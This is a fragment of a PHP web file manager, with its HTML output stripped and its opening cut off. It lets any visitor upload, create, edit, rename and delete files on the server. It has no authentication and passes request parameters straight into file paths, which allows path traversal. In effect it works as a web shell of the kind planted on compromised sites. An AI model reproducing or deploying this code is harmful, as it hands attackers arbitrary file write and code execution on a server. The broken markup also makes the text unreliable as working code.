'; echo "

Current Directory: $path

"; } function handleFileUpload($path) { if (!empty($_FILES['file']['name'])) { $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "

File uploaded successfully!

"; } else { echo "

Failed to upload file.

"; } } } function createNewFolder($path) { if (!empty($_POST['folder_name'])) { $folderPath = $path . DIRECTORY_SEPARATOR . $_POST['folder_name']; if (!file_exists($folderPath)) { if (mkdir($folderPath, 0777, true)) { echo "

Folder created: {$_POST['folder_name']}

"; } else { echo "

Failed to create folder. Check permissions.

"; } } else { echo "

Folder already exists.

"; } } } function createNewFile($path) { if (!empty($_POST['file_name'])) { $filePath = $path . DIRECTORY_SEPARATOR . $_POST['file_name']; if (!file_exists($filePath)) { if (file_put_contents($filePath, '') !== false) { echo "

File created: {$_POST['file_name']}

"; } else { echo "

Failed to create file. Check permissions.

"; } } else { echo "

File already exists.

"; } } } function editFile($filePath) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "

File updated successfully!

"; } $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo "

"; } function deleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "

File deleted successfully.

"; } else { echo "

File not found.

"; } } function renameItem($filePath) { if (!empty($_POST['new_name'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['new_name']; if (rename($filePath, $newPath)) { echo "

Item renamed successfully.

"; } else { echo "

Failed to rename item.

"; } } else { echo "
"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { handleFileUpload($path); } elseif (isset($_POST['folder_name'])) { createNewFolder($path); } elseif (isset($_POST['file_name'])) { createNewFile($path); } } if (isset($_GET['action']) && isset($_GET['item'])) { $itemPath = $path . DIRECTORY_SEPARATOR . $_GET['item']; switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } echo ""; echo "Go Up"; displayDirectory($path); echo "

Upload File

"; echo "

Create Folder

"; echo "

Create File

"; ?>